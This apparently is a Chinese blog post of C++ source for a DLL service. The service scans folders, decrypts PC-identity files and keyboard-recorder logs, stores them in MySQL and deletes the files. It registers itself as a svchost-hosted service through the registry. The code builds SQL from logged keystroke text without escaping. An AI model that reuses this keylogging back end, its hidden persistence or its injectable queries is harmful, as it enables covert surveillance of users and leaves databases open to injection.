ErgodicFile

////ErgodicFile.h

 

#ifndef  ERGODICFILE_H
#define  ERGODICFILE_H

#include "DealData.h"

class CErgodicFile
{
public:
 CErgodicFile(void);
 ~CErgodicFile(void);

public:
 //獲得傳入的文件目錄,並存入m_vecDictory
 void GetFilePath(CString strPath);

 //遍歷最大批次文件目錄判斷是否存在存在ok.txt
 //void IsErgodic();

 //判斷是掃描出的文件是文件夾還是文件
 //void IsDictoryOrFile(const CString strPath, WIN32_FIND_DATA &winFind, const CString strConPath);

 //判斷數據文件是否是Ok.txt文件
 //void IsOktxt(const CString strPath, CString strConPath);

 void _find(string path);
public:
 //存放文件夾路徑
 vector<CString> m_vecDictory;

 //記錄最原始路徑
 CString strRes;

 //數據庫數據庫操作對象,在掃描時需要插入數據庫
 DealData dealData;
};
#endif

 

 

 

////ErgodicFile.cpp


#include "StdAfx.h"
#include "ErgodicFile.h"
#include<iostream>
#include<string>
#include "LogFile.h"
#include "DisposeData.h"

CErgodicFile::CErgodicFile(void)
{
  //dealData.GetRunPathData();
  m_vecDictory.clear();
}


CErgodicFile::~CErgodicFile(void)
{
 m_vecDictory.clear();
}


void CErgodicFile::GetFilePath(CString strPath)
{
 strRes = strPath;
 //m_vecDictory.clear();
 //m_vecDictory.push_back(strPath);
 //IsErgodic();
 //cout<<strPath<<endl;
 _find((string)strPath);
}


void CErgodicFile::_find(string path)
{
 try
 {

  //取路徑名最後一個"\\"之前的部分,包括"\\"
  string prefix=path.substr(0,path.find_last_of('\\')+1);
  WIN32_FIND_DATA FindFileData;
  HANDLE hFind=::FindFirstFile(path.c_str(),&FindFileData);
  if(INVALID_HANDLE_VALUE == hFind)
  {
   return;
  }
  while(TRUE)
  {
   //目錄
   if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
   {
    //不是當前目錄,也不是父目錄
    if(FindFileData.cFileName[0]!='.')
    {
     //查找下一級目錄
     _find(prefix+FindFileData.cFileName+'\\'+"*.*");
    }
   }
   //文件
   else
   {  
    //CString str=FindFileData.cFileName;
    //str.MakeUpper();
    //if (strcmp(str, TEXT("OK.TXT")) == 0)
    //{ 
    // CString prefixtmp=(prefix.substr(0,prefix.length()-1)).c_str(); 

    // if (!dealData.IsExistInRunPath(strRes,prefixtmp))//在run_path表中建立了ALTER TABLE run_path ADD UNIQUE INDEX ID_PATH (Test_Project_Id, runPath)索引後,不需要再查詢數據庫
    //  //但由於mysql建立索引後path字段長度限制在230個字符左右,所以暫不建索引
    // { 
    //  //dealData.ControlDataInsertOrRead(strRes , (prefixtmp)); 
    // }
    //}

    int start = -1;
    CString fileType = FindFileData.cFileName;
    while((start = fileType.Find('.')) != -1)
    {
     fileType = fileType.Right(fileType.GetLength() - start -1);//取出擴展名
    }
    CFile file;
    CString filePath("");
    filePath.Format("%s%s",prefix.c_str(),FindFileData.cFileName);
    if(fileType == "dat")
    {
     CString strIp("");
     CString strMac("");
     CString strHostName("");
     CString strDomain("");
     if(file.Open(filePath,CFile::modeRead|CFile::typeBinary))
     {
      //從文件中讀取文件內容
      char *buf=new char[file.GetLength()]; 
      memset(buf,0,file.GetLength());
      file.Read(buf,file.GetLength());
      //解密文件內容
      DisposeData dis;
      dis.SetValue(buf);
      CString str;
      str = dis.ProcessDecode();
      file.Close();
      dis.GetPCInfo(str,strIp,strMac,strHostName,strDomain);
      CString strSql("");
      strSql.Format("insert into pcinformations(ip,mac,hostName,domain)\
           values('%s','%s','%s','%s')",strIp,strMac,strHostName,strDomain);
      //上傳數據庫
      DealData dealData;
      dealData.ControlDataInsertOrRead(strSql);
      remove(filePath);
     }
     else
     {
      MessageBox(0,filePath,"dat",0);
     }
    }
    //kRecord content
    else if(fileType == "tmp")
    {
     CString fileName("");
     CString strMac("");
     CString strTime("");
     CString strAppName("");
     CString strRecordInfo("");
     if(file.Open(filePath,CFile::modeRead|CFile::typeBinary))
     {
      DisposeData dis;
      fileName = filePath;
      int start = -1;
      while((start = fileName.Find('\\')) != -1)
      {
       fileName = fileName.Right(fileName.GetLength()-start-1);
      }
      start = fileName.Find('.');
      if(start != -1)
       fileName = fileName.Left(start);
      //解密文件名
      dis.SetValue(fileName.GetBuffer(0));
      fileName.ReleaseBuffer();
      fileName = dis.DecryptFileName();
      //取出文件名中的內容
      dis.GetFileNameInfo(fileName,strMac,strTime);

      char *buf=new char[file.GetLength()]; 
      memset(buf,0,file.GetLength());
      file.Read(buf,file.GetLength());

      //解密文件內容
      dis.SetValue(buf);
      CString str;
      str = dis.ProcessDecode();
      file.Close();
      dis.GetRecordInfo(str,strAppName,strRecordInfo);
      CString strSql("");
      strSql.Format("insert into keyboardrecorderinformations(mac,time,appName,recordInfo)\
           values('%s','%s','%s','%s')",strMac,strTime,strAppName,strRecordInfo);
      //上傳MYSQL
      DealData dealData;
      dealData.ControlDataInsertOrRead(strSql);
      remove(filePath);
     }
     else
     {
      MessageBox(0,filePath,"tmp",0);
     }
    }
    else
    {
     remove(filePath);
    }
   }
   if(!FindNextFile(hFind,&FindFileData))
    break;
  }
  FindClose(hFind);

 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());

  WRITELOG("ERR:"+currentTimeStr+"FileWatcher Failed when CErgodicFile!");
 }

}

 ////FileWatcherDll.h


#ifdef MYDLL_EXPORTS
#define MYDLL_API __declspec(dllexport)
#else
#define MYDLL_API __declspec(dllimport)
#endif
//聲明導出函數
//extern "C" int MYDLL_API StartFileWatcher(void);


 

 

 

 

////FileWatcherDll.cpp


#define MYDLL_EXPORTS
#include "stdafx.h"
#include "FileWatcherDll.h"
#include "ErgodicFile.h"
#include "ThreadManage.h"
#include "LogFile.h"
#include "Winsvc.h"
/*定義一個全局對象threadManage,該對象負責創
建完成端口、開啓線程監測、開啓數據處理等,程序調用結束後析構函數自動釋放程序中申請的空間*/
CThreadManage threadManage;
static BOOL isrunning=false;
CLogFile logfile;
void StartServiceTest();
void Log(char *p)
{
 FILE *file = ::fopen("c:\\service_log.txt","ab+");
 if(file != NULL)
 {
  fprintf(file, "%s\r\n", p);
  ::fclose(file);
 }
}

int /*MYDLL_API*/ StartFileWatcher(void)
{
 Log("enter StartFileWatcher ");
 try
 {
  if(!isrunning)//防止多次加載調用
  {

   threadManage.CreatePostErgodicFileThread(); //投遞文件夾掃描線程 
   Log("enter CreatePostErgodicFileThread ");
   threadManage.CreateListenContentThread(); //投遞監聽文件線程

   threadManage.CreateInfoDealThread();
   isrunning=true;
   CTime m_currentTime=CTime::GetCurrentTime();
   CString currentTimeStr;
   currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
    m_currentTime.GetYear(),
    m_currentTime.GetMonth(),
    m_currentTime.GetDay(),
    m_currentTime.GetHour(),
    m_currentTime.GetMinute(),
    m_currentTime.GetSecond());
   WRITELOG(currentTimeStr+" "+"Start FileWatcher Success!");
   return 0;
  }
  else
  {
   CTime m_currentTime=CTime::GetCurrentTime();
   CString currentTimeStr;
   currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
    m_currentTime.GetYear(),
    m_currentTime.GetMonth(),
    m_currentTime.GetDay(),
    m_currentTime.GetHour(),
    m_currentTime.GetMinute(),
    m_currentTime.GetSecond());
   WRITELOG(currentTimeStr+" "+"FileWatcher has started!");
   return 1; 
  }
 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG("ERR:"+currentTimeStr+" "+"Start FileWatcher Failed");
  return -1;
 } 
}

#ifdef _X86_
extern "C" { int _afxForceUSRDLL; }
#else
extern "C" { int __afxForceUSRDLL; }
#endif

//DLL的入口函數
BOOL APIENTRY DllMain( HANDLE hModule,
       DWORD  ul_reason_for_call,
       LPVOID lpReserved
       )
{
 CTime m_currentTime=CTime::GetCurrentTime();
 CString currentTimeStr;
 switch(ul_reason_for_call){
 case DLL_PROCESS_ATTACH://單線程構造函數
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG(currentTimeStr+" "+"Load FileWatcherDLL Success!");
  break;
 case DLL_PROCESS_DETACH://單線程析構函數
  //m_currentTime=CTime::GetCurrentTime();
  ////CString currentTimeStr;
  //m_currentTime=CTime::GetCurrentTime();
  //currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
  // m_currentTime.GetYear(),
  // m_currentTime.GetMonth(),
  // m_currentTime.GetDay(),
  // m_currentTime.GetHour(),
  // m_currentTime.GetMinute(),
  // m_currentTime.GetSecond());
  //WRITELOG(currentTimeStr+" "+"Free FileWatcherDLL Success!");
  break;
 default:
  break;
 }
 return TRUE;
}

 

 

VOID WINAPI MyHandler(DWORD fdwControl);

SERVICE_STATUS service_status;
SERVICE_STATUS_HANDLE handle;

BOOL initService()
{
 return true;
}


VOID WINAPI MyHandler(DWORD fdwControl)
{
 if(fdwControl == SERVICE_CONTROL_STOP){

  Log("service stop!");
  service_status.dwWin32ExitCode = 0;
  service_status.dwCurrentState = SERVICE_STOPPED;
 }
 else if(fdwControl == SERVICE_CONTROL_SHUTDOWN){
  Log("system shutdown and service stop!");
  service_status.dwWin32ExitCode = 0;
  service_status.dwCurrentState = SERVICE_STOPPED;
 }
 SetServiceStatus(handle,&service_status);
}


VOID WINAPI  ServiceMain(DWORD dwArgc,LPTSTR* lpszArgv)
{


 service_status.dwCheckPoint = 0;
 service_status.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN|SERVICE_ACCEPT_STOP;
 service_status.dwCurrentState = SERVICE_START_PENDING;
 service_status.dwServiceSpecificExitCode = 0;
 service_status.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
 service_status.dwWaitHint = 0;
 service_status.dwWin32ExitCode = 0;

 handle = ::RegisterServiceCtrlHandler("MyDllService_FileWatcher",MyHandler);
 if(handle ==(SERVICE_STATUS_HANDLE)0)
 {
  Log("create service handle error!");
  return;
 }
 if(!initService())
 {
  Log("init service handle error!");
  service_status.dwCurrentState = SERVICE_STOPPED;
  service_status.dwWin32ExitCode = -1;
  ::SetServiceStatus(handle,&service_status);
  return;
 }
 service_status.dwCurrentState = SERVICE_RUNNING;
 ::SetServiceStatus(handle,&service_status);
 //Log("StartFileWatcher");
 StartFileWatcher();
 while(service_status.dwCurrentState == SERVICE_RUNNING)
 {
  //StartFileWatcher();
  char buf[50]={0};
  char buflog[100]={0};
  int num = ::GetTimeFormat(NULL,LOCALE_USE_CP_ACP,NULL,NULL,buf, 0);
  GetTimeFormat(NULL,LOCALE_USE_CP_ACP,NULL,NULL,buf, num);
  ::sprintf(buflog,"now time is:%s",buf);
  Log(buflog);
  ::Sleep(10000);

 }

}

VOID __stdcall Installer()
{
 SC_HANDLE handle = NULL;
 SC_HANDLE hService = NULL;
 handle = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
 if(NULL == handle)
 {
  Log("open scm error!");
  return;
 }
 if(NULL==(hService = ::CreateService(handle,"MyDllService_FileWatcher","MyDllService_FileWatcher",SC_MANAGER_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"%SystemRoot%\\system32\\svchost -k MyDllService_FileWatcher",NULL,NULL,NULL,NULL,NULL)))
 {
  int error = GetLastError();
  char buf[50]={0};
  ::sprintf(buf,"註冊錯誤代碼是:%d",error);
  Log(buf);

 }

 HKEY  hkey = NULL;
 HKEY  pkey = NULL;
 ::RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\MyDllService_FileWatcher",&hkey);
 if(NULL !=hkey)
 {
  char buff[] = "%SystemRoot%\\system32\\FileWatcherDll.dll";
  ::RegCreateKey(hkey,"Parameters",&pkey);
  if(ERROR_SUCCESS != (RegSetValueEx(pkey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1)))
  {
   Log("註冊paramter失敗");
  }
  ::RegCloseKey(pkey);
  ::RegCloseKey(hkey);


 }

 hkey = NULL;
 RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost",&hkey);
 if(hkey != NULL)
 {
  if(ERROR_SUCCESS != ::RegSetValueEx(hkey,"MyDllService_FileWatcher",0,REG_MULTI_SZ,(BYTE*)"MyDllService_FileWatcher",strlen("MyDllService_FileWatcher")+1))
  {

   Log("註冊svchost失敗");
  }
  ::RegCloseKey(hkey);

 }
 //::CloseHandle(handle);

 ::CloseServiceHandle(hService);
 ::CloseServiceHandle(handle);
 StartServiceTest();

}

VOID __stdcall Unstaller()
{
 SC_HANDLE handle = NULL;
 SC_HANDLE handle_sv = NULL;
 __try{
  handle = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
  if(NULL == handle)
  {
   Log("open scm error!");
   return;
  }
  handle_sv = OpenService(handle,"MyDllService_FileWatcher",SC_MANAGER_ALL_ACCESS);
  if(NULL == handle_sv)
  {
   Log("open service_mydllservice error!");
   return;
  }
  if(NULL==::DeleteService(handle_sv))
  {
   Log("delete service_mydllservice error!");
   return;
  }

  HKEY  hkey = NULL;
  RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost",&hkey);
  if(hkey != NULL)
  {
   if(ERROR_SUCCESS != ::RegDeleteValue(hkey,"MyDllService_FileWatcher"))
   {

    Log("刪除svchost失敗");
   }
   ::RegCloseKey(hkey);

  }

 }__finally
 {
  if(NULL != handle_sv)
  {
   ::CloseServiceHandle(handle_sv);
  }
  if(NULL != handle)
  {
   ::CloseServiceHandle(handle);
  }
 }
}


void StartServiceTest()
{
 SC_HANDLE hSCM;
 SC_HANDLE hService;
 hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
 if (hSCM != NULL)
 {
  //打開服務
  hService = ::OpenService(hSCM, "MyDllService_FileWatcher",SERVICE_ALL_ACCESS);
  if (hService != NULL)
  {
   //啓動服務
   if(!StartService(hService,0,NULL))
   {
    //AfxMessageBox("Service start error (%u)!\n",GetLastError());
   }
   else
   {
    //AfxMessageBox("service start pending");   
   }
  } 
  else
  {
   //AfxMessageBox("open service error!");
  } 
 }
 else
 {
  //AfxMessageBox("openSCmanager error!");
 }
 ::CloseServiceHandle(hService);
 ::CloseServiceHandle(hSCM);
}

 

 

 

 

 

 

 

發佈了56 篇原創文章 · 獲贊 5 · 訪問量 81萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章